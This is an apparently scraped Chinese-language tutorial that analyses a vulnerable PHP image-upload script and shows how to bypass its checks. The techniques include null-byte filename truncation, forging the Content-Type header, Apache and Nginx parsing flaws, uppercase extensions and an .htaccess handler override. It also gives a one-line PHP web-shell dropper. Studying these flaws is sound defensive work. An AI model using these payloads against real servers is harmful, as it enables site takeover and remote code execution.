0x00 簡單源碼分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
<?php
if
(((
$_FILES
[
"file"
][
"type"
] ==
"image/gif"
)
//檢測Content-type值
|| (
$_FILES
[
"file"
][
"type"
] ==
"image/jpeg"
)
|| (
$_FILES
[
"file"
][
"type"
] ==
"image/pjpeg"
))
&& (
$_FILES
[
"file"
][
"size"
] < 20000))
//檢測文件大小
{
$ext
=
end
(
explode
(
'.'
,
$_FILES
[
"file"
][
"name"
]));
//獲取最後「.」的後綴
if
(
$ext
===
'php'
)
//檢測是否爲php後綴
{
exit
(
'error'
);
}
if
(
$_FILES
[
"file"
][
"error"
] > 0)
//返回上傳錯誤碼
{
echo
"Return Code: "
.
$_FILES
[
"file"
][
"error"
] .
"<br />"
;
}
else
//返回上傳成功信息
{
echo
"Upload: "
.
$_FILES
[
"file"
][
"name"
] .
"<br />"
;
echo
"Type: "
.
$_FILES
[
"file"
][
"type"
] .
"<br />"
;
echo
"Size: "
. (
$_FILES
[
"file"
][
"size"
] / 1024) .
" Kb<br />"
;
echo
"Temp file: "
.
$_FILES
[
"file"
][
"tmp_name"
] .
"<br />"
;
if
(
file_exists
(
"upload/"
.
$_FILES
[
"file"
][
"name"
]))
//檢測文件是否存在
{
echo
$_FILES
[
"file"
][
"name"
] .
" already exists. "
;
}
else
//將上傳的臨時文件轉移到指定存放文件夾
{
move_uploaded_file(
$_FILES
[
"file"
][
"tmp_name"
],
"upload/"
.
$_FILES
[
"file"
][
"name"
]);
echo
"Stored in: "
.
"upload/"
.
$_FILES
[
"file"
][
"name"
];
}
}
}
else
{
echo
"Invalid file"
;
//返回無效文件的錯誤信息
}
?>
|
0x01 詳細分析過程
1) 直接使用用戶上傳文件名,沒有過濾特殊字符,存在漏洞php
1
2
3
4
5
6
7
8
9
10
11
12
|
if
(((
$_FILES
[
"file"
][
"type"
] ==
"image/gif"
)
//文件類型檢測
|| (
$_FILES
[
"file"
][
"type"
] ==
"image/jpeg"
)
|| (
$_FILES
[
"file"
][
"type"
] ==
"image/pjpeg"
))
&& (
$_FILES
[
"file"
][
"size"
] < 20000))
{
$ext
=
end
(
explode
(
'.'
,
$_FILES
[
"file"
][
"name"
]));
//文件後綴檢測
if
(
$ext
===
'php'
){
exit
(
'error'
);
}
......
//省略了中間的一些代碼
|
如下代碼的做用是,將上傳到臨時文件夾的文件移到upload的目錄下html
1
2
3
4
5
6
|
else
{
move_uploaded_file(
$_FILES
[
"file"
][
"tmp_name"
],
"upload/"
.
$_FILES
[
"file"
][
"name"
]);
echo
"Stored in: "
.
"upload/"
.
$_FILES
[
"file"
][
"name"
];
}
|
1.1分析:web
從以上代碼能夠看出,能夠上傳圖片文件,對文件拓展名檢測是經過end(explode(‘.’,$_FILES[「file」][「name」]))函數實現(在這裏先不說文件類型驗證的問題)explode(‘.’,$_FILES[「file」][「name」])用來把上傳的文件名做爲字符串,以.(點)來分割字符串來生成數組,而end()函數則是將數組內部指針指向最後一個元素,並返回該元素的值,例如,當上傳x.php文件時,最終就會獲取到php。shell
而對於$_FILES裏面獲取變量,是直接來自http request請求,它跟普通獲取其它get,post變量同樣。 好比在post上傳時,咱們能夠經過抓包來截獲(經常使用神器burpsuite)這一過程,因爲在上傳的檢測中沒有對文件名進行檢測和過濾及處理,所以,咱們能夠將name構造一個特殊文件名,而後,再將post數據提交,就能夠達到上傳繞過對文件擴展名的檢測。apache
1.2利用:數組
好比咱們能夠在本地上將一個php文件命名爲x.php.jpg在上傳文件時,抓包post,將filename修改成x.php\0.jpg再提交post數據,那麼在保存咱們修改後的文件時,\0後面的全部字符將(如.jpg)被自動截斷,最終生成咱們想要目標文件格式(如本例的x.php),以致於能夠上傳任意惡意的php腳本。從網上獲得說明Php4的版本能夠利用這個漏洞,php5版本以上會自動過濾掉’」/0」,另外不少asp,jsp也存在此類截斷上傳的漏洞。安全
2)文件類型驗證不嚴格,存在漏洞服務器
1
2
3
4
5
6
7
8
9
10
|
<?php
if
(((
$_FILES
[
"file"
][
"type"
] ==
"image/gif"
)
|| (
$_FILES
[
"file"
][
"type"
] ==
"image/jpeg"
)
|| (
$_FILES
[
"file"
][
"type"
] ==
"image/pjpeg"
))
&& (
$_FILES
[
"file"
][
"size"
] < 20000))
{
$ext
=
end
(
explode
(
'.'
,
$_FILES
[
"file"
][
"name"
]));
if
(
$ext
===
'php'
){
exit
(
'error'
);
}
|
2.1分析:app
從代碼能夠看出是經過讀取文件的type直接來作文件類型的判斷,一樣咱們能夠經過抓取post數據,將Content-type值修改成容許上傳的MIME類型,在這裏有image/gif等三種,從而繞過對文件type的檢查,雖然以後代碼對文件擴展名進行了檢測(那兩個個函數對文件擴展名檢測的大慨過程就是判斷文件名最後」.」的最後字符,example.php.bak最終獲得是bak),並判斷是不是php後綴名。jsp
2.2利用:
1.若是沒有對apache默認支持解析文件方式進行修改時(即apache解析漏洞,不少網站管理員因爲安全意識薄弱或其餘狀況每每沒有修改),那麼在繞過對type的檢測以後,最簡單的利用方式就是咱們能夠直接上傳一個惡意的名爲x.php.ext,這裏的ext能夠是多種,只要不是php和apache能夠解析其餘擴展名(如txt後綴)就能夠,那麼按照apache默認從右往左直到遇到可支持解析的文件的解析方式,那麼就會把x.php.ext當成x.php來解析。
2.在繞過對文件type檢查以後,咱們還能夠將本地的x.php文件修改成x.php1,x.php3,x.php4或者x.php5再上傳,默認的apache服務器將會解析爲php。
3)使用php的全等於來判斷是否爲php文件類型,存在漏洞
1
2
3
4
|
$ext
=
end
(
explode
(
'.'
,
$_FILES
[
"file"
][
"name"
]));
if
(
$ext
===
'php'
){
exit
(
'error'
);
}
|
3.1分析:
咱們知道在php語法中全等於」===」的做用是先判斷等號左右兩邊的數據類型是否同樣,再判斷等號兩邊的值是否相等,若是都相等返回true,否者返回false。
3.2利用:
在明白全等於」===」的判斷原理以後,咱們就能夠進行利用了,仍是以本地的x.php舉例,咱們能夠將x.php修改成Php, x.PHp, PHP...在繞過對type的檢測以後再上傳,以上傳的x.PHP來分析,首先上傳截獲到的是PHP後綴,此時$ext=PHP,再將進行下一步的驗證,$ext和php都是相同的數據類型,可是在驗證它們值時卻不相等,從而繞過上傳。
而默認的web應用程序都是默認將Php,x.PHp,PHP...解析爲php執行。
4)對上傳文件內容沒有作檢測,存在漏洞
4.1分析:
從upload.php源代碼分析來看,在整個過程沒有對上傳文件內容進行檢測,過濾和處理,能夠經過上傳圖片木馬或其餘方式來到達惡意上傳的目的。
4.2利用:
1.若是的網站是用Nginx的Web應用程序且版本 <8.03,那咱們就能夠利用Nginx默認開啓Fast-CGI而形成的畸形解析漏洞,如下是具體利用方式說明。在默認Fast-CGI開啓情況下,咱們能夠上傳一個名爲x.jpg,其內容爲
1
|
<?PHP
fputs
(
fopen
(
'shell.php'
,
'w'
),
'<?php eval($_POST[cmd])?>'
);?>
|
的文件,以後咱們再訪問x.jpg/.php這個網站路徑,在這個目錄下就會生成一句話木馬shell.php。
2.若是的網站是用Nginx的Web應用程序且版本在(0.5.,0.6.,0.7,0.8<=0.7.65<=0.8.37)其中,那咱們還能夠利用Nginx空字節代碼執行漏洞來達到上傳任意惡意代碼並執行。具體利用方法是:將x.jpg圖片中嵌入PHP代碼而後經過訪問x.jpg%00.php來執行其中的惡意代碼。
3.若是網站的Apache Web應用程序中.htaccess可被執行且可被上傳,那能夠嘗試在.htaccess中寫入:
<FilesMatch "example.jpg"> SetHandler application/x-httpd-php
這段代碼的意思就是將把目錄下的全部後綴爲jpg的文件當作可執行的php腳本進行解析並執行。所以,咱們能夠上傳一個x.jpg的木馬, 這樣x.jpg就可解析爲php文件。